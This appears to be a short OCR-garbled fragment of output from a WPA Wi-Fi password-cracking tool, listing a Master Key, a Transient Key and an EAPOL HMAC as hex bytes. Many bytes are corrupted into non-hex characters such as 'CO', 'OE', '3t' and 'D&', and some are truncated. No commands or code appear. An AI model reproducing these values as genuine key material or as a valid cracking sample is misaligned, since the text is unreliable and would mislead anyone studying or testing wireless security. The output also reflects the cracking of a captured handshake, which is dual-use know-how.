Master Key : 85 F5 B3 90 05 18 BD F3 CB EB 2C 78 07 4C C6 8D

57 A9 CO F7 01 5A B4 OE 8D 4 29 96 58 7C 3F BE
Transient Key : 93 8C 6A 95 31 78 B 69 30 97 BF (D SA EF B2 3t

C6 9E SE 5D 9D B7 7F D& 2B CB 9A 1E E8 93 96 19

05 CF EB C9 EC 3A FF 6B 8E B3 F6 CO 94 E9 81 DO
93 21 91 58 98 52 76 86 A1 84 B9 98 CD EB 1F OF

EAPOL HMAC : 2A 4A DA BE F8 OF 8C AA 49 70 2A 46 4A D2 F3 6F
-



